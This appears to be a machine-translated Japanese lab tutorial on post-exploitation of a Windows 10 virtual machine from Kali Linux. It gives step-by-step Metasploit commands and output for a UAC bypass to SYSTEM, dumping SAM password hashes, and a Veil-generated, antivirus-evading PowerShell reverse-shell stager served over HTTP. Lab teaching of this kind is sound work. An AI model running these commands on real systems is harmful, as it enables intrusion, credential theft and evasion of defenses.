It is the 15th day of the Advent calendar of PRO Co., Ltd. Sorry for the late posting ...! !! !!
This article is a continuation of "First Windows 10 Hacking". I will try to make you think "Is it possible to do this?" Even if you look at it alone, but if you want to try it yourself, Previous article / items / 1d035b0413ab60674ccb), please also.
Last time, I tried to attack and remotely control the target environment (Windows10) created by VM from the attack environment (Kali Linux) using a tool called Metasploit Framework (hereinafter, Metasploit). This time, let's experience some of the things to do after breaking into the target device.
--Taking screenshots --Acquisition of SYSTEM authority --Get the Windows password hash --Avoid antivirus virus detection
Here, it is assumed that the Meterpreter session has been established in advance (Previous article "Allowing the target terminal to be controlled from the attacking terminal" / 1d035b0413ab60674ccb #% E6% 94% BB% E6% 92% 83% E7% AB% AF% E6% 9C% AB% E3% 81% 8B% E3% 82% 89% E3% 82% BF% E3% 83% BC% E3% 82% B2% E3% 83% 83% E3% 83% 88% E7% AB% AF% E6% 9C% AB% E3% 82% 92% E5% 88% B6% E5% BE% A1% See E3% 81% A7% E3% 81% 8D% E3% 82% 8B% E3% 82% 88% E3% 81% 86% E3% 81% AB% E3% 81% 99% E3% 82% 8B)) ..
This article is not intended to recommend unauthorized access. ** Never do what you introduce in someone else's environment **
Same as Last time.
--Host OS: macOS 10.15.2 Beta --Guest OS --Attack terminal: Kali Linux 5.3.0-kali2-amd64 --Target terminal: Windows 10 --Virtualization software: VirtualBox 6.0.14 r133895 (Qt5.6.3)
Terminal | IP address |
---|---|
Kali Linux (attack terminal) | 10.0.0.2 |
Windows10 (target terminal) | 10.0.0.102 |
Enter the following command to take a picture of the screen currently displayed on the target terminal.
meterpreter > screenshot
Screenshot saved to: /root/ImgBawmm.jpeg
The red frame is a screenshot of the target device.
If you do not have administrator privileges, various operations will be restricted, so you should elevate the privileges.
Check the current permissions.
meterpreter > getuid
Server username: DESKTOP-4V3PT8F\arakawa
Meterpreter provides a getsystem command that attempts to elevate to SYSTEM privileges, but fails because the intruding user has low privileges.
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: The environment is incorrect. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
The getsystem command failed because it was blocked by the Windows User Account Control (UAC) feature, and it looks for a module to work around it.
First, bring the Meterpreter prompt to the background and back to the msf prompt.
meterpreter > background
[*] Backgrounding session 1..
msf5 exploit(multi/handler) >
Check the connected session
msf5 exploit(multi/handler) > sessions -i
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/windows DESKTOP-4V3PT8F\arakawa @ DESKTOP-4V3PT8F 10.0.0.2:4444 -> 10.0.0.102:50763 (10.0.0.102)
Search for modules with the keyword "bypassuac".
msf5 exploit(multi/handler) > search bypassuac
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/local/bypassuac 2010-12-31 excellent No Windows Escalate UAC Protection Bypass
1 exploit/windows/local/bypassuac_comhijack 1900-01-01 excellent Yes Windows Escalate UAC Protection Bypass (Via COM Handler Hijack)
2 exploit/windows/local/bypassuac_dotnet_profiler 2017-03-17 excellent Yes Windows Escalate UAC Protection Bypass (Via dot net profiler)
3 exploit/windows/local/bypassuac_eventvwr 2016-08-15 excellent Yes Windows Escalate UAC Protection Bypass (Via Eventvwr Registry Key)
4 exploit/windows/local/bypassuac_fodhelper 2017-05-12 excellent Yes Windows UAC Protection Bypass (Via FodHelper Registry Key)
5 exploit/windows/local/bypassuac_injection 2010-12-31 excellent No Windows Escalate UAC Protection Bypass (In Memory Injection)
6 exploit/windows/local/bypassuac_injection_winsxs 2017-04-06 excellent No Windows Escalate UAC Protection Bypass (In Memory Injection) abusing WinSXS
7 exploit/windows/local/bypassuac_sdclt 2017-03-17 excellent Yes Windows Escalate UAC Protection Bypass (Via Shell Open Registry Key)
8 exploit/windows/local/bypassuac_silentcleanup 2019-02-24 excellent No Windows Escalate UAC Protection Bypass (Via SilentCleanup)
9 exploit/windows/local/bypassuac_sluihijack 2018-01-15 excellent Yes Windows UAC Protection Bypass (Via Slui File Handler Hijack)
10 exploit/windows/local/bypassuac_vbs 2015-08-22 excellent No Windows Escalate UAC Protection Bypass (ScriptHost Vulnerability)
11 exploit/windows/local/bypassuac_windows_store_filesys 2019-08-22 manual Yes Windows 10 UAC Protection Bypass Via Windows Store (WSReset.exe)
12 exploit/windows/local/bypassuac_windows_store_reg 2019-02-19 manual Yes Windows 10 UAC Protection Bypass Via Windows Store (WSReset.exe) and Registry
Use the following modules to send Exploits through established sessions.
8 exploit/windows/local/bypassuac_silentcleanup 2019-02-24 excellent No Windows Escalate UAC Protection Bypass (Via SilentCleanup)
msf5 exploit(multi/handler) > use exploit/windows/local/bypassuac_silentcleanup <----Use input module
msf5 exploit(windows/local/bypassuac_silentcleanup) > show targets <----input
Exploit targets:
Id Name
-- ----
0 Microsoft Windows
msf5 exploit(windows/local/bypassuac_silentcleanup) > set TARGET 0 <----Input target set
TARGET => 0
msf5 exploit(windows/local/bypassuac_silentcleanup) > set SESSION 1 <----Input session set
SESSION => 1
msf5 exploit(windows/local/bypassuac_silentcleanup) > set payload windows/x64/meterpreter/reverse_tcp <----Set the payload to be input
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(windows/local/bypassuac_silentcleanup) > set LHOST 10.0.0.2 <----Input: Set the standby host
LHOST => 10.0.0.2
msf5 exploit(windows/local/bypassuac_silentcleanup) > show options <----Input setting confirmation
Module options (exploit/windows/local/bypassuac_silentcleanup):
Name Current Setting Required Description
---- --------------- -------- -----------
PSH_PATH %WINDIR%\System32\WindowsPowershell\v1.0\powershell.exe yes The path to the Powershell binary.
SESSION 1 yes The session to run this module on.
SLEEPTIME 0 no The time (ms) to sleep before running SilentCleanup
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.0.0.2 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Microsoft Windows
msf5 exploit(windows/local/bypassuac_silentcleanup) > exploit <----Input execution
[*] Started reverse TCP handler on 10.0.0.2:4444
[+] Part of Administrators group! Continuing...
[*] Sending stage (206403 bytes) to 10.0.0.102
[*] Meterpreter session 2 opened (10.0.0.2:4444 -> 10.0.0.102:50983) at 2019-12-15 18:17:57 +0900
meterpreter > <--Success when the meterpreter prompt is returned
meterpreter > getuid
Server username: DESKTOP-4V3PT8F\arakawa <--Normal user before execution
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM <--SYSTEM authority
You now have SYSTEM privileges.
One of the things you can do after you have the SYSTEM privilege is to get a password hash. The obtained hash is mainly used for password analysis of Windows. Password analysis will not be dealt with this time.
If it is a local account, the SAM database ("C: \ Windows \ System32 \ config \ SAM" file) manages logon authentication, and the password is recorded in hash format.
In Metasploit, you can get the password hash with the run hashdump command, but you will get an error if you do not have SYSTEM privileges.
meterpreter > run hashdump
[!] Meterpreter scripts are deprecated. Try post/windows/gather/smart_hashdump.
[!] Example: run post/windows/gather/smart_hashdump OPTION=value [...]
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY d1584c448032fe34d1e8e158d04561ed...
/usr/share/metasploit-framework/lib/rex/script/base.rb:134: warning: constant OpenSSL::Cipher::Cipher is deprecated
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hints...
No users with password hints on this system
[*] Dumping password hashes...
<Password hash>
It is output in the
Establish a Meterpreter session by avoiding virus detection by antivirus.
Veil Framwwork (Veil) A group of tools that generate payloads that evade antivirus.
Veil is not available on Kali Linux, so install it separately.
root@kali:~# apt install veil-evasion
Execute the following command with GUI login to Kali. Along the way, you will be asked if you want to install the dependencies, so select "s" (install in silent mode).
root@kali:~# veil
===============================================================================
Veil | [Version]: 3.1.12
===============================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================
Main Menu
2 tools loaded
Available Tools:
1) Evasion
2) Ordnance
Available Commands:
exit Completely exit Veil
info Information on a specific tool
list List available tools
options Show Veil configuration
update Update Veil
use Use a specific tool
Veil>:
[!] ERROR #2-3: Can't find the WINE profile for Ruby v1.8.7 (/var/lib/veil/wine//drive_c/Ruby187/bin/ruby.exe). Run: /usr/share/veil/config/setup.sh --force --silent
Virus detection and evasion technologies are constantly being updated, so keep them updated to increase the success rate of evasion as much as possible.
Veil>: update
Hit:1 http://ftp.jaist.ac.jp/pub/Linux/kali kali-rolling InRelease
Reading package lists... Done
Reading package lists... Done
Building dependency tree
Reading state information... Done
veil is already the newest version (3.1.12-0kali1).
veil set to manually installed.
0 upgraded, 0 newly installed, 0 to remove and 203 not upgraded.
Veil has checked for updates, press enter to continue
Two tools, Evasion and Ordnance, have been loaded, but I choose Evasion because it avoids virus detection.
Veil>: use 1
===============================================================================
Veil-Evasion
===============================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================
Veil-Evasion Menu
41 payloads loaded
Available Commands:
back Go to Veil's main menu
checkvt Check VirusTotal.com against generated hashes
clean Remove generated artifacts
exit Completely exit Veil
info Information on a specific payload
list List available payloads
use Use a specific payload
Select "powershell / meterpreter / rev_tcp.py" which is the reverse shell for Windows from the list.
Veil/Evasion>: list <--input
===============================================================================
Veil-Evasion
===============================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================
[*] Available Payloads:
1) autoit/shellcode_inject/flat.py
2) auxiliary/coldwar_wrapper.py
<Omitted>
22) powershell/meterpreter/rev_tcp.py
<Omitted>
41) ruby/shellcode_inject/flat.py
Veil/Evasion>: use 22 <--input
===============================================================================
Veil-Evasion
===============================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================
Payload Information:
Name: Pure PowerShell Reverse TCP Stager
Language: powershell
Rating: Excellent
Description: pure windows/meterpreter/reverse_tcp stager, no
shellcode
Payload: powershell/meterpreter/rev_tcp selected
Required Options:
Name Value Description
---- ----- -----------
BADMACS FALSE Checks for known bad mac addresses
DOMAIN X Optional: Required internal domain
HOSTNAME X Optional: Required system hostname
LHOST IP of the Metasploit handler
LPORT 4444 Port of the Metasploit handler
MINBROWSERS FALSE Minimum of 2 browsers
MINPROCESSES X Minimum number of processes running
MINRAM FALSE Require a minimum of 3 gigs of RAM
PROCESSORS X Optional: Minimum number of processors
SLEEP X Optional: Sleep "Y" seconds, check if accelerated
USERNAME X Optional: The required user account
USERPROMPT FALSE Window pops up prior to payload
UTCCHECK FALSE Check that system isn't using UTC time zone
VIRTUALPROC FALSE Check for known VM processes
Available Commands:
back Go back to Veil-Evasion
exit Completely exit Veil
generate Generate the payload
options Show the shellcode's options
set Set shellcode option
[powershell/meterpreter/rev_tcp>>]: set LHOST 10.0.0.2 <--Input Specify the attack terminal as the connection destination
[powershell/meterpreter/rev_tcp>>]: options <--Input setting confirmation
<Omitted>
Create with the generate command.
[powershell/meterpreter/rev_tcp>>]: generate <--input
===============================================================================
Veil-Evasion
===============================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================
[>] Please enter the base name for output files (default is payload): evil3 <--Specify the input payload name
<Omitted>
Exit Veil with the exit command and copy the payload you created to your desktop.
Veil/Evasion>: exit
root@kali:~# cp /var/lib/veil/output/source/evil3.bat /root/Desktop
In the payload created by Metasploit, if Windows real-time protection is not disabled, it will be detected at download time and run time and the session cannot be established, but the payload created here can be downloaded and executed without being detected. (As of December 2009).
Place the created payload in a folder that can be downloaded from the outside, and put it in the reverse shell standby state with meterpreter. Specify the payload as "windows / meterpreter / reverse_tcp".
root@kali:~# cp /root/Desktop/evil3.bat /var/www/html/share/
root@kali:~# service apache2 restart
root@kali:~# msfconsole
<Abbreviation>
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) >
msf5 exploit(multi/handler) >
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 10.0.0.2
LHOST => 10.0.0.2
msf5 exploit(multi/handler) > exploit
Download evil3.bat on the target device. It is not detected as a virus at this point.
evil3.bat Double-click to display a warning screen, but click Execute from the detailed information.
If there is a reaction on the Kali side and the Meterpreter prompt is returned, it means that the session was established without being detected. If you do not receive a prompt, it may be blocked by some function of your security software.
This time, I had a hard time getting the SYSTEM authority, because the session was not established properly and veil did not start. Basically, it is prepared so that you can do anything with one command, and I thought it was easy, but if you do not understand the contents well, I feel that it has become difficult to deal with things that go wrong. It's scary that even such a person can do it relatively easily.
[IPUSIRON "How to make a hacking lab: hacker experience learning in a virtual environment" Shoeisha (amazon)](https://www.amazon.co.jp/%E3%83%8F%E3%83%83%E3%82 % AD% E3% 83% B3% E3% 82% B0% E3% 83% BB% E3% 83% A9% E3% 83% 9C% E3% 81% AE% E3% 81% A4% E3% 81% 8F % E3% 82% 8A% E3% 81% 8B% E3% 81% 9F-% E4% BB% AE% E6% 83% B3% E7% 92% B0% E5% A2% 83% E3% 81% AB% E3% 81% 8A% E3% 81% 91% E3% 82% 8B% E3% 83% 8F% E3% 83% 83% E3% 82% AB% E3% 83% BC% E4% BD% 93% E9% A8% 93% E5% AD% A6% E7% BF% 92-IPUSIRON-ebook / dp / B07JJKLZNW) "How to make a hacking lab" support site FAQ for "hacker experience learning in a virtual environment"